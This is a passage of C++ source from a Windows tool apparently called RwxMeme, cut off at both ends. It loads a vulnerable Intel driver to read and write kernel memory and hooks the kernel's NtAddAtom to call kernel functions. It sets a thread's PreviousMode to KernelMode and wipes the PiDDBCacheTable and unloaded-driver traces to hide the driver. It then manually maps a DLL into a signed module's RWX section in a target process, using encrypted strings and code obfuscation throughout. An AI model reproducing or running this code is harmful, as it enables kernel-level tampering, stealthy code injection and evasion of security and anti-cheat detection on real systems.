reserved2; uint64_t virt_address; uint64_t reserved3; uint32_t number_of_bytes; }UNMAP_IO_SPACE_BUFFER_INFO, * PUNMAP_IO_SPACE_BUFFER_INFO; typedef struct _RTL_BALANCED_LINKS { struct _RTL_BALANCED_LINKS* Parent; struct _RTL_BALANCED_LINKS* LeftChild; struct _RTL_BALANCED_LINKS* RightChild; CHAR Balance; UCHAR Reserved[3]; } RTL_BALANCED_LINKS; typedef RTL_BALANCED_LINKS* PRTL_BALANCED_LINKS; typedef struct _RTL_AVL_TABLE { RTL_BALANCED_LINKS BalancedRoot; PVOID OrderedPointer; ULONG WhichOrderedElement; ULONG NumberGenericTableElements; ULONG DepthOfTree; PVOID RestartKey; ULONG DeleteCount; PVOID CompareRoutine; PVOID AllocateRoutine; PVOID FreeRoutine; PVOID TableContext; } RTL_AVL_TABLE; typedef RTL_AVL_TABLE* PRTL_AVL_TABLE; typedef struct _PiDDBCacheEntry { LIST_ENTRY List; UNICODE_STRING DriverName; ULONG TimeDateStamp; NTSTATUS LoadStatus; char _0x0028[16]; } PiDDBCacheEntry, * NPiDDBCacheEntry; typedef struct _HashBucketEntry { struct _HashBucketEntry* Next; UNICODE_STRING DriverName; ULONG CertHash[5]; } HashBucketEntry, * PHashBucketEntry; bool ClearPiDDBCacheTable(HANDLE device_handle); bool ExAcquireResourceExclusiveLite(HANDLE device_handle, PVOID Resource, BOOLEAN wait); bool ExReleaseResourceLite(HANDLE device_handle, PVOID Resource); BOOLEAN RtlDeleteElementGenericTableAvl(HANDLE device_handle, PVOID Table, PVOID Buffer); PVOID RtlLookupElementGenericTableAvl(HANDLE device_handle, PRTL_AVL_TABLE Table, PVOID Buffer); PiDDBCacheEntry* LookupEntry(HANDLE device_handle, PRTL_AVL_TABLE PiDDBCacheTable, ULONG timestamp, const wchar_t* name); PVOID ResolveRelativeAddress(HANDLE device_handle, _In_ PVOID Instruction, _In_ ULONG OffsetOffset, _In_ ULONG InstructionSize); uintptr_t FindPatternAtKernel(HANDLE device_handle, uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, char* szMask); uintptr_t FindSectionAtKernel(HANDLE device_handle, char* sectionName, uintptr_t modulePtr, PULONG size); uintptr_t FindPatternInSectionAtKernel(HANDLE device_handle, char* sectionName, uintptr_t modulePtr, BYTE* bMask, char* szMask); bool ClearKernelHashBucketList(HANDLE device_handle); bool IsRunning(); HANDLE Load(); bool Unload(HANDLE device_handle); bool MemCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size); bool SetMemory(HANDLE device_handle, uint64_t address, uint32_t value, uint64_t size); bool GetPhysicalAddress(HANDLE device_handle, uint64_t address, uint64_t* out_physical_address); uint64_t MapIoSpace(HANDLE device_handle, uint64_t physical_address, uint32_t size); bool UnmapIoSpace(HANDLE device_handle, uint64_t address, uint32_t size); bool ReadMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size); bool WriteMemory(HANDLE device_handle, uint64_t address, void* buffer, uint64_t size); bool WriteToReadOnlyMemory(HANDLE device_handle, uint64_t address, void* buffer, uint32_t size); uint64_t AllocatePool(HANDLE device_handle, nt::POOL_TYPE pool_type, uint64_t size); /*added by psec*/ uint64_t MmAllocatePagesForMdl(HANDLE device_handle, LARGE_INTEGER LowAddress, LARGE_INTEGER HighAddress, LARGE_INTEGER SkipBytes, SIZE_T TotalBytes); uint64_t MmMapLockedPagesSpecifyCache(HANDLE device_handle, uint64_t pmdl, nt::KPROCESSOR_MODE AccessMode, nt::MEMORY_CACHING_TYPE CacheType, uint64_t RequestedAddress, ULONG BugCheckOnFailure, ULONG Priority); bool MmProtectMdlSystemAddress(HANDLE device_handle, uint64_t MemoryDescriptorList, ULONG NewProtect); bool MmUnmapLockedPages(HANDLE device_handle, uint64_t BaseAddress, uint64_t pmdl); bool MmFreePagesFromMdl(HANDLE device_handle, uint64_t MemoryDescriptorList); uint64_t IoGetCurrentProcess(HANDLE device_handle); uint64_t PsGetCurrentThread(HANDLE device_handle); NTSTATUS MmCopyVirtualMemory(HANDLE device_handle, uint64_t sourceProcess, PVOID sourceAddress, uint64_t targetProcess, PVOID targetAddress, SIZE_T bufferSize, nt::KPROCESSOR_MODE previousMode, PSIZE_T returnSize); bool SafeCopy(HANDLE device_handle, uint64_t destination, uint64_t source, uint64_t size); /**/ bool FreePool(HANDLE device_handle, uint64_t address); uint64_t GetKernelModuleExport(HANDLE device_handle, uint64_t kernel_module_base, const std::string& function_name); bool ClearMmUnloadedDrivers(HANDLE device_handle); std::wstring GetDriverNameW(); std::wstring GetDriverPath(); template bool CallKernelFunction(HANDLE device_handle, T* out_result, uint64_t kernel_function_address, const A ...arguments) { constexpr auto call_void = std::is_same_v; if constexpr (!call_void) { if (!out_result) return false; } else { UNREFERENCED_PARAMETER(out_result); } if (!kernel_function_address) return false; HMODULE ntdll = GetModuleHandleA(E("ntdll.dll")); if (!ntdll) return false; const auto NtAddAtom = reinterpret_cast(GetProcAddress(ntdll, E("NtAddAtom"))); if (!NtAddAtom) { console::Error(E("NtAddAtom in ntdll not found")); return false; } uint8_t kernel_injected_jmp[] = { 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xe0 }; uint8_t original_kernel_function[sizeof(kernel_injected_jmp)]; *reinterpret_cast(&kernel_injected_jmp[2]) = kernel_function_address; static uint64_t kernel_NtAddAtom = GetKernelModuleExport(device_handle, intel_driver::ntoskrnlAddr, E("NtAddAtom")); if (!kernel_NtAddAtom) { console::Error(E("NtAddAtom in ntoskrnl not found")); return false; } if (!ReadMemory(device_handle, kernel_NtAddAtom, &original_kernel_function, sizeof(kernel_injected_jmp))) return false; if (original_kernel_function[0] == kernel_injected_jmp[0] && original_kernel_function[1] == kernel_injected_jmp[1] && original_kernel_function[sizeof(kernel_injected_jmp) - 2] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 2] && original_kernel_function[sizeof(kernel_injected_jmp) - 1] == kernel_injected_jmp[sizeof(kernel_injected_jmp) - 1]) { console::Error(E("Code hooked already")); return false; } // Overwrite the pointer with kernel_function_address if (!WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, &kernel_injected_jmp, sizeof(kernel_injected_jmp))) return false; // Call function if constexpr (!call_void) { using FunctionFn = T(__stdcall*)(A...); const auto Function = reinterpret_cast(NtAddAtom); *out_result = Function(arguments...); } else { using FunctionFn = void(__stdcall*)(A...); const auto Function = reinterpret_cast(NtAddAtom); Function(arguments...); } // Restore the pointer/jmp WriteToReadOnlyMemory(device_handle, kernel_NtAddAtom, original_kernel_function, sizeof(kernel_injected_jmp)); return true; } } #endif ================================================ FILE: RwxMeme/RwxMeme/src/driver/magic.cpp ================================================ #include "../general.h" // KTHREAD -> PreviousMode const uint64_t OffsetPreviousMode = 0x232; // KTHREAD -> MiscFlags const uint64_t OffsetMiscFlags = 0x74; HANDLE deviceHandle; volatile uint64_t currentProcess; volatile uint64_t currentThread; typedef struct _Flags { union { struct { ULONG AutoBoostActive : 1; //0x74 ULONG ReadyTransition : 1; //0x74 ULONG WaitNext : 1; //0x74 ULONG SystemAffinityActive : 1; //0x74 ULONG Alertable : 1; //0x74 ULONG UserStackWalkActive : 1; //0x74 ULONG ApcInterruptRequest : 1; //0x74 ULONG QuantumEndMigrate : 1; //0x74 ULONG Spare1 : 1; //0x74 ULONG TimerActive : 1; //0x74 ULONG SystemThread : 1; //0x74 ULONG ProcessDetachActive : 1; //0x74 ULONG CalloutActive : 1; //0x74 ULONG ScbReadyQueue : 1; //0x74 ULONG ApcQueueable : 1; //0x74 ULONG ReservedStackInUse : 1; //0x74 ULONG Spare2 : 1; //0x74 ULONG TimerSuspended : 1; //0x74 ULONG SuspendedWaitMode : 1; //0x74 ULONG SuspendSchedulerApcWait : 1; //0x74 ULONG CetUserShadowStack : 1; //0x74 ULONG BypassProcessFreeze : 1; //0x74 ULONG CetKernelShadowStack : 1; //0x74 ULONG StateSaveAreaDecoupled : 1; //0x74 ULONG IsolationWidth : 1; //0x74 ULONG Reserved : 7; //0x74 } BitFields; LONG MiscFlags; //0x74 } Internal; } Flags; DWORD WINAPI MagicThread(LPVOID dummy) { ProtectMutate(); UNREFERENCED_PARAMETER(dummy); currentProcess = intel_driver::IoGetCurrentProcess(deviceHandle); currentThread = intel_driver::PsGetCurrentThread(deviceHandle); memory::Loop(); ProtectEnd(); return 0; } bool magic::Run() { ProtectUltra(); console::Info(E("Loading vulnerable driver")); deviceHandle = intel_driver::Load(); if (deviceHandle == INVALID_HANDLE_VALUE) return false; console::Success(E("Vulnerable driver loaded")); console::Info(E("Modifying current process")); CreateThread(nullptr, 0, MagicThread, nullptr, 0, nullptr); while (!currentThread) Sleep(1); Sleep(500); if (!(currentThread && currentProcess)) { console::Error(E("Failed to get current process and thread")); goto exit; } console::Debug(E("EPROCESS: 0x%p"), currentProcess); console::Debug(E("ETHREAD: 0x%p"), currentThread); bool status = false; char mode = 0; // KernelMode if (!intel_driver::WriteMemory(deviceHandle, currentThread + OffsetPreviousMode, &mode, sizeof(char))) { console::Error(E("Failed to write kernel structures")); goto exit; } Flags flags; if (!intel_driver::ReadMemory(deviceHandle, currentThread + OffsetMiscFlags, &flags, sizeof(Flags))) { console::Error(E("Failed to read kernel structures")); goto exit; } flags.Internal.BitFields.ApcQueueable = false; if (!intel_driver::WriteMemory(deviceHandle, currentThread + OffsetMiscFlags, &flags, sizeof(Flags))) { console::Error(E("Failed to write kernel structures")); goto exit; } status = true; console::Success(E("Modification successful")); exit: console::Info(E("Unloading vulnerable driver")); if (!intel_driver::Unload(deviceHandle)) { console::Error(E("Failed to unload vulnerable driver")); return false; } console::Success(E("Vulnerable driver unloaded")); console::Info(E("Cleaning driver buffer")); memset(driver_resource::driverBuffer, 0, sizeof(driver_resource::driverBuffer)); console::Success(E("Driver buffer cleaned")); ProtectEnd(); return status; } ================================================ FILE: RwxMeme/RwxMeme/src/driver/magic.h ================================================ #ifndef MAGIC_H #define MAGIC_H namespace magic { bool Run(); } #endif ================================================ FILE: RwxMeme/RwxMeme/src/driver/memory.cpp ================================================ #include "../general.h" HANDLE targetProcess = nullptr; volatile memory::ControlData controlData; std::mutex actionMutex; void memory::HandleOpenProcess(volatile ControlData* data) { ProtectMutate(); DWORD processId = static_cast(data->Data[0]); targetProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, false, processId); if (!targetProcess || targetProcess == INVALID_HANDLE_VALUE) { data->Status = StatusError; return; } data->Status = StatusDone; ProtectEnd(); } void memory::HandleReadMemory(volatile ControlData* data) { ProtectMutate(); LPCVOID address = reinterpret_cast(data->Data[0]); LPVOID buffer = reinterpret_cast(data->Data[1]); SIZE_T size = data->Data[2]; SIZE_T* outputSize = const_cast(&data->Data[3]); bool status = ReadProcessMemory(targetProcess, address, buffer, size, outputSize); if (!status) { data->Status = StatusError; return; } data->Status = StatusDone; ProtectEnd(); } void memory::HandleWriteMemory(volatile ControlData* data) { ProtectMutate(); LPVOID address = reinterpret_cast(data->Data[0]); LPVOID buffer = reinterpret_cast(data->Data[1]); SIZE_T size = data->Data[2]; SIZE_T* outputSize = const_cast(&data->Data[3]); bool status = WriteProcessMemory(targetProcess, address, buffer, size, outputSize); if (!status) { data->Status = StatusError; return; } data->Status = StatusDone; ProtectEnd(); } void memory::HandleModuleQuery(volatile ControlData* data) { ProtectMutate(); wchar_t* moduleName = reinterpret_cast(data->Data[0]); uint64_t modBaseAddr = 0; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, memory_helper::targetPid); if (snapshot != INVALID_HANDLE_VALUE) { MODULEENTRY32W modEntry; modEntry.dwSize = sizeof(modEntry); if (Module32FirstW(snapshot, &modEntry)) { do { if (!_wcsicmp(modEntry.szModule, moduleName)) { modBaseAddr = reinterpret_cast(modEntry.modBaseAddr); break; } } while (Module32NextW(snapshot, &modEntry)); } } CloseHandle(snapshot); *reinterpret_cast(data->Data[1]) = modBaseAddr; if (!modBaseAddr) { data->Status = StatusError; return; } data->Status = StatusDone; ProtectEnd(); } memory::ActionStatus memory::PerformAction(ActionType type, uint64_t data1, uint64_t data2, uint64_t data3, uint64_t data4, uint64_t data5) { ProtectMutate(); actionMutex.lock(); memset((void*)&controlData, 0, sizeof(ControlData)); controlData.Action = type; controlData.Data[0] = data1; controlData.Data[1] = data2; controlData.Data[2] = data3; controlData.Data[3] = data4; controlData.Data[4] = data5; controlData.Status = StatusPending; while (controlData.Status == StatusPending) { } actionMutex.unlock(); return controlData.Status; ProtectEnd(); } void memory::Loop() { ProtectMutate(); while (!global::ShouldExit) { if (controlData.Status != StatusPending) continue; switch (controlData.Action) { case ActionOpenProcess: HandleOpenProcess(&controlData); break; case ActionReadMemory: HandleReadMemory(&controlData); break; case ActionWriteMemory: HandleWriteMemory(&controlData); break; case ActionModuleQuery: HandleModuleQuery(&controlData); break; default: break; } } ProtectEnd(); } DWORD memory_helper::GetProcessPID(const wchar_t* processName) { ProtectMutate(); PROCESSENTRY32W processInfo; processInfo.dwSize = sizeof(processInfo); HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); if (snapshot == INVALID_HANDLE_VALUE) return 0; Process32FirstW(snapshot, &processInfo); if (!wcscmp(processName, processInfo.szExeFile)) { CloseHandle(snapshot); return processInfo.th32ProcessID; } while (Process32NextW(snapshot, &processInfo)) { if (!wcscmp(processName, processInfo.szExeFile)) { CloseHandle(snapshot); return processInfo.th32ProcessID; } } CloseHandle(snapshot); ProtectEnd(); return 0; } uint64_t memory_helper::GetModuleAddress(const wchar_t* moduleName) { ProtectMutate(); console::Info(E("Getting module info")); uint64_t moduleBaseAddress = 0; memory::ActionStatus status = memory::PerformAction(memory::ActionModuleQuery, reinterpret_cast(moduleName), reinterpret_cast(&moduleBaseAddress)); if (status != memory::StatusDone || !moduleBaseAddress) { console::Error(E("Failed to get module info")); global::ExitLoop(); } console::Success(E("Base: 0x%p"), moduleBaseAddress); ProtectEnd(); return moduleBaseAddress; } void memory_helper::WaitAndOpenProcess(const wchar_t* processName) { ProtectMutate(); console::Info(E("Waiting for process to open")); while (!targetPid) targetPid = GetProcessPID(processName); Sleep(5000); targetPid = GetProcessPID(processName); if (!targetPid) { console::Error(E("Process exited")); global::ExitLoop(); } memory::ActionStatus status = memory::PerformAction(memory::ActionOpenProcess, targetPid); if (status != memory::StatusDone) { console::Error(E("Failed to open target process")); global::ExitLoop(); } console::Success(E("Handle: 0x%p"), targetProcess); ProtectEnd(); } bool memory_helper::ReadMemory(uint64_t address, void* buffer, size_t size) { memory::ActionStatus status = memory::PerformAction(memory::ActionReadMemory, address, reinterpret_cast(buffer), size); return status == memory::StatusDone; } bool memory_helper::WriteMemory(uint64_t address, void* buffer, size_t size) { memory::ActionStatus status = memory::PerformAction(memory::ActionWriteMemory, address, reinterpret_cast(buffer), size); return status == memory::StatusDone; } ================================================ FILE: RwxMeme/RwxMeme/src/driver/memory.h ================================================ #ifndef MEMORY_H #define MEMORY_H namespace memory { enum ActionType { ActionUnknown, ActionOpenProcess, ActionReadMemory, ActionWriteMemory, ActionModuleQuery }; enum ActionStatus { StatusInvalid, StatusPending, StatusError, StatusDone }; typedef struct _ControlData { ActionType Action; ActionStatus Status; uint64_t Data[5]; } ControlData; void HandleOpenProcess(volatile ControlData* data); void HandleReadMemory(volatile ControlData* data); void HandleWriteMemory(volatile ControlData* data); void HandleModuleQuery(volatile ControlData* data); ActionStatus PerformAction(ActionType type, uint64_t data1 = 0, uint64_t data2 = 0, uint64_t data3 = 0, uint64_t data4 = 0, uint64_t data5 = 0); void Loop(); } namespace memory_helper { inline DWORD targetPid = 0; DWORD GetProcessPID(const wchar_t* processName); uint64_t GetModuleAddress(const wchar_t* moduleName); void WaitAndOpenProcess(const wchar_t* processName); bool ReadMemory(uint64_t address, void* buffer, size_t size); bool WriteMemory(uint64_t address, void* buffer, size_t size); template T Read(uint64_t address) { T val = T(); ReadMemory(address, &val, sizeof(T)); return val; } template void Write(DWORD64 address, T value) { WriteMemory(address, &value, sizeof(T)); } } #endif ================================================ FILE: RwxMeme/RwxMeme/src/driver/nt.h ================================================ #ifndef CUSTOM_NT_H #define CUSTOM_NT_H namespace nt { constexpr auto PAGE_SIZE = 0x1000; constexpr auto STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; constexpr auto SystemModuleInformation = 11; constexpr auto SystemHandleInformation = 16; constexpr auto SystemExtendedHandleInformation = 64; typedef NTSTATUS(*NtLoadDriver)(PUNICODE_STRING DriverServiceName); typedef NTSTATUS(*NtUnloadDriver)(PUNICODE_STRING DriverServiceName); typedef NTSTATUS(*RtlAdjustPrivilege)(_In_ ULONG Privilege, _In_ BOOLEAN Enable, _In_ BOOLEAN Client, _Out_ PBOOLEAN WasEnabled); typedef struct _SYSTEM_HANDLE { PVOID Object; HANDLE UniqueProcessId; HANDLE HandleValue; ULONG GrantedAccess; USHORT CreatorBackTraceIndex; USHORT ObjectTypeIndex; ULONG HandleAttributes; ULONG Reserved; } SYSTEM_HANDLE, * PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION_EX { ULONG_PTR HandleCount; ULONG_PTR Reserved; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; typedef enum class _POOL_TYPE { NonPagedPool, NonPagedPoolExecute = NonPagedPool, PagedPool, NonPagedPoolMustSucceed = NonPagedPool + 2, DontUseThisType, NonPagedPoolCacheAligned = NonPagedPool + 4, PagedPoolCacheAligned, NonPagedPoolCacheAlignedMustS = NonPagedPool + 6, MaxPoolType, NonPagedPoolBase = 0, NonPagedPoolBaseMustSucceed = NonPagedPoolBase + 2, NonPagedPoolBaseCacheAligned = NonPagedPoolBase + 4, NonPagedPoolBaseCacheAlignedMustS = NonPagedPoolBase + 6, NonPagedPoolSession = 32, PagedPoolSession = NonPagedPoolSession + 1, NonPagedPoolMustSucceedSession = PagedPoolSession + 1, DontUseThisTypeSession = NonPagedPoolMustSucceedSession + 1, NonPagedPoolCacheAlignedSession = DontUseThisTypeSession + 1, PagedPoolCacheAlignedSession = NonPagedPoolCacheAlignedSession + 1, NonPagedPoolCacheAlignedMustSSession = PagedPoolCacheAlignedSession + 1, NonPagedPoolNx = 512, NonPagedPoolNxCacheAligned = NonPagedPoolNx + 4, NonPagedPoolSessionNx = NonPagedPoolNx + 32, } POOL_TYPE; typedef struct _RTL_PROCESS_MODULE_INFORMATION { HANDLE Section; PVOID MappedBase; PVOID ImageBase; ULONG ImageSize; ULONG Flags; USHORT LoadOrderIndex; USHORT InitOrderIndex; USHORT LoadCount; USHORT OffsetToFileName; UCHAR FullPathName[256]; } RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION; typedef struct _RTL_PROCESS_MODULES { ULONG NumberOfModules; RTL_PROCESS_MODULE_INFORMATION Modules[1]; } RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES; /*added by psec*/ typedef enum _MEMORY_CACHING_TYPE_ORIG { MmFrameBufferCached = 2 } MEMORY_CACHING_TYPE_ORIG; typedef enum _MEMORY_CACHING_TYPE { MmNonCached = FALSE, MmCached = TRUE, MmWriteCombined = MmFrameBufferCached, MmHardwareCoherentCached, MmNonCachedUnordered, // IA64 MmUSWCCached, MmMaximumCacheType, MmNotMapped = -1 } MEMORY_CACHING_TYPE; typedef CCHAR KPROCESSOR_MODE; typedef enum _MODE { KernelMode, UserMode, MaximumMode } MODE; typedef enum _MM_PAGE_PRIORITY { LowPagePriority, NormalPagePriority = 16, HighPagePriority = 32 } MM_PAGE_PRIORITY; /**/ } #endif ================================================ FILE: RwxMeme/RwxMeme/src/driver/service.cpp ================================================ #include "../general.h" bool service::RegisterAndStart(const std::wstring& driver_path) { ProtectUltra(); const static DWORD ServiceTypeKernel = 1; const std::wstring driver_name = intel_driver::GetDriverNameW(); const std::wstring servicesPath = EW(L"SYSTEM\\CurrentControlSet\\Services\\") + driver_name; const std::wstring nPath = EW(L"\\??\\") + driver_path; HKEY dservice; LSTATUS status = RegCreateKeyW(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &dservice); //Returns Ok if already exists if (status != ERROR_SUCCESS) return false; status = RegSetKeyValueW(dservice, NULL, EW(L"ImagePath"), REG_EXPAND_SZ, nPath.c_str(), (DWORD)(nPath.size() * sizeof(wchar_t))); if (status != ERROR_SUCCESS) { RegCloseKey(dservice); return false; } status = RegSetKeyValueW(dservice, NULL, EW(L"Type"), REG_DWORD, &ServiceTypeKernel, sizeof(DWORD)); if (status != ERROR_SUCCESS) { RegCloseKey(dservice); return false; } RegCloseKey(dservice); HMODULE ntdll = GetModuleHandleA(EW("ntdll.dll")); if (!ntdll) return false; auto RtlAdjustPrivilege = (nt::RtlAdjustPrivilege)GetProcAddress(ntdll, E("RtlAdjustPrivilege")); auto NtLoadDriver = (nt::NtLoadDriver)GetProcAddress(ntdll, E("NtLoadDriver")); ULONG SE_LOAD_DRIVER_PRIVILEGE = 10UL; BOOLEAN SeLoadDriverWasEnabled; NTSTATUS Status = RtlAdjustPrivilege(SE_LOAD_DRIVER_PRIVILEGE, TRUE, FALSE, &SeLoadDriverWasEnabled); if (!NT_SUCCESS(Status)) { console::Error(E("Unable to set SE_LOAD_DRIVER_PRIVILEGE. Make sure you are running as administrator.")); return false; } std::wstring wdriver_reg_path = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\" + driver_name; UNICODE_STRING serviceStr; RtlInitUnicodeString(&serviceStr, wdriver_reg_path.c_str()); Status = NtLoadDriver(&serviceStr); if (Status == 0xC000010E) return true; ProtectEnd(); return NT_SUCCESS(Status); } bool service::StopAndRemove(const std::wstring& driver_name) { ProtectUltra(); HMODULE ntdll = GetModuleHandleA(E("ntdll.dll")); if (!ntdll) return false; std::wstring wdriver_reg_path = EW(L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\") + driver_name; UNICODE_STRING serviceStr; RtlInitUnicodeString(&serviceStr, wdriver_reg_path.c_str()); HKEY driver_service; std::wstring servicesPath = EW(L"SYSTEM\\CurrentControlSet\\Services\\") + driver_name; LSTATUS status = RegOpenKeyW(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &driver_service); if (status != ERROR_SUCCESS) { if (status == ERROR_FILE_NOT_FOUND) return true; return false; } RegCloseKey(driver_service); auto NtUnloadDriver = (nt::NtUnloadDriver)GetProcAddress(ntdll, E("NtUnloadDriver")); NTSTATUS st = NtUnloadDriver(&serviceStr); if (st != 0x0) { RegDeleteKeyW(HKEY_LOCAL_MACHINE, servicesPath.c_str()); return false; } status = RegDeleteKeyW(HKEY_LOCAL_MACHINE, servicesPath.c_str()); if (status != ERROR_SUCCESS) return false; ProtectEnd(); return true; } ================================================ FILE: RwxMeme/RwxMeme/src/driver/service.h ================================================ #ifndef SERVICE_H #define SERVICE_H namespace service { bool RegisterAndStart(const std::wstring& driver_path); bool StopAndRemove(const std::wstring& driver_name); }; #endif ================================================ FILE: RwxMeme/RwxMeme/src/driver/utils.cpp ================================================ #include "../general.h" std::wstring utils::GetFullTempPath() { ProtectMutate(); wchar_t temp_directory[MAX_PATH + 1] = { 0 }; const uint32_t get_temp_path_ret = GetTempPathW(sizeof(temp_directory) / 2, temp_directory); if (!get_temp_path_ret || get_temp_path_ret > MAX_PATH + 1) { console::Error(E("Failed to get temporary path")); return L""; } if (temp_directory[wcslen(temp_directory) - 1] == L'\\') temp_directory[wcslen(temp_directory) - 1] = 0x0; ProtectEnd(); return std::wstring(temp_directory); } bool utils::ReadFileToMemory(const std::wstring& file_path, std::vector* out_buffer) { ProtectMutate(); std::ifstream file_ifstream(file_path, std::ios::binary); if (!file_ifstream) return false; out_buffer->assign((std::istreambuf_iterator(file_ifstream)), std::istreambuf_iterator()); file_ifstream.close(); ProtectEnd(); return true; } bool utils::CreateFileFromMemory(const std::wstring& desired_file_path, const char* address, size_t size) { ProtectMutate(); std::ofstream file_ofstream(desired_file_path.c_str(), std::ios_base::out | std::ios_base::binary); if (!file_ofstream.write(address, size)) { file_ofstream.close(); return false; } file_ofstream.close(); ProtectEnd(); return true; } uint64_t utils::GetKernelModuleAddress(const std::string& module_name) { ProtectMutate(); void* buffer = nullptr; DWORD buffer_size = 0; NTSTATUS status = NtQuerySystemInformation(static_cast(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size); while (status == nt::STATUS_INFO_LENGTH_MISMATCH) { if (buffer != nullptr) VirtualFree(buffer, 0, MEM_RELEASE); buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); status = NtQuerySystemInformation(static_cast(nt::SystemModuleInformation), buffer, buffer_size, &buffer_size); } if (!NT_SUCCESS(status)) { if (buffer != nullptr) VirtualFree(buffer, 0, MEM_RELEASE); return 0; } const auto modules = static_cast(buffer); if (!modules) return 0; for (auto i = 0u; i < modules->NumberOfModules; ++i) { const std::string current_module_name = std::string(reinterpret_cast(modules->Modules[i].FullPathName) + modules->Modules[i].OffsetToFileName); if (!_stricmp(current_module_name.c_str(), module_name.c_str())) { const uint64_t result = reinterpret_cast(modules->Modules[i].ImageBase); VirtualFree(buffer, 0, MEM_RELEASE); return result; } } VirtualFree(buffer, 0, MEM_RELEASE); ProtectEnd(); return 0; } BOOLEAN utils::bDataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask) { for (; *szMask; ++szMask, ++pData, ++bMask) if (*szMask == 'x' && *pData != *bMask) return 0; return (*szMask) == 0; } uintptr_t utils::FindPattern(uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, char* szMask) { size_t max_len = dwLen - strlen(szMask); for (uintptr_t i = 0; i < max_len; i++) if (bDataCompare((BYTE*)(dwAddress + i), bMask, szMask)) return (uintptr_t)(dwAddress + i); return 0; } PVOID utils::FindSection(char* sectionName, uintptr_t modulePtr, PULONG size) { ProtectMutate(); size_t namelength = strlen(sectionName); PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)(modulePtr + ((PIMAGE_DOS_HEADER)modulePtr)->e_lfanew); PIMAGE_SECTION_HEADER sections = IMAGE_FIRST_SECTION(headers); for (DWORD i = 0; i < headers->FileHeader.NumberOfSections; ++i) { PIMAGE_SECTION_HEADER section = §ions[i]; if (memcmp(section->Name, sectionName, namelength) == 0 && namelength == strlen((char*)section->Name)) { if (!section->VirtualAddress) return 0; if (size) *size = section->Misc.VirtualSize; return (PVOID)(modulePtr + section->VirtualAddress); } } ProtectEnd(); return 0; } const wchar_t* utils::GetWidechar(const char* input) { const size_t size = strlen(input) + 1; wchar_t* wc = new wchar_t[size]; mbstowcs(wc, input, size); return wc; } ================================================ FILE: RwxMeme/RwxMeme/src/driver/utils.h ================================================ #ifndef UTILS_H #define UTILS_H namespace utils { std::wstring GetFullTempPath(); bool ReadFileToMemory(const std::wstring& file_path, std::vector* out_buffer); bool CreateFileFromMemory(const std::wstring& desired_file_path, const char* address, size_t size); uint64_t GetKernelModuleAddress(const std::string& module_name); BOOLEAN bDataCompare(const BYTE* pData, const BYTE* bMask, const char* szMask); uintptr_t FindPattern(uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, char* szMask); PVOID FindSection(char* sectionName, uintptr_t modulePtr, PULONG size); const wchar_t* GetWidechar(const char* input); } #endif ================================================ FILE: RwxMeme/RwxMeme/src/entry.cpp ================================================ #include "general.h" #define SIGNED_RWX_DLL_NAME E("cpprest.dll") void MapDll(HMODULE rwxDll, DWORD tid, uint64_t targetSectionBase, DWORD targetSectionSize, PIMAGE_DOS_HEADER dosHeader, PIMAGE_NT_HEADERS64 ntHeaders) { ProtectUltra(); const int garbageSize = 0x1000; // has to be aligned console::Info(E("Copying random garbage")); memory_helper::WriteMemory(targetSectionBase, &NtQuerySystemTime, garbageSize); targetSectionBase += garbageSize; targetSectionSize -= garbageSize; console::Success(E("Garbage copied")); if (targetSectionSize < ntHeaders->OptionalHeader.SizeOfImage) { console::Error(E("Not enough space for dll")); global::ExitLoop(); } console::Info(E("Allocating local memory")); void* localImageBase = malloc(ntHeaders->OptionalHeader.SizeOfImage); memset(localImageBase, 0, ntHeaders->OptionalHeader.SizeOfImage); if (!localImageBase) { console::Error(E("Failed to allocate local memory")); global::ExitLoop(); } console::Success(E("Local image base: 0x%p"), localImageBase); console::Info(E("Copying headers")); memcpy(localImageBase, dosHeader, ntHeaders->OptionalHeader.SizeOfHeaders); console::Success(E("Headers copied")); console::Info(E("Copying sections")); const PIMAGE_SECTION_HEADER currentImageSection = IMAGE_FIRST_SECTION(ntHeaders); for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i) { console::Debug(E("Section: 0x%p (%u)"), currentImageSection[i].VirtualAddress, currentImageSection[i].SizeOfRawData); void* localSection = reinterpret_cast(reinterpret_cast(localImageBase) + currentImageSection[i].VirtualAddress); memcpy(localSection, reinterpret_cast(reinterpret_cast(dosHeader) + currentImageSection[i].PointerToRawData), currentImageSection[i].SizeOfRawData); } console::Success(E("Sections copied")); console::Info(E("Resolving relocations")); executable::VecRelocs relocations = executable::GetRelocs(localImageBase); uint64_t delta = targetSectionBase - ntHeaders->OptionalHeader.ImageBase; for (const auto& currentReloc : relocations) { for (auto i = 0u; i < currentReloc.count; ++i) { const uint16_t type = currentReloc.item[i] >> 12; const uint16_t offset = currentReloc.item[i] & 0xFFF; if (type == IMAGE_REL_BASED_DIR64) { //console::Debug(E("Offset: %x"), static_cast(offset)); *reinterpret_cast(currentReloc.address + offset) += delta; } } } console::Success(E("Relocations resolved")); console::Info(E("Resolving imports")); executable::VecImports imports = executable::GetImports(localImageBase); for (const auto& 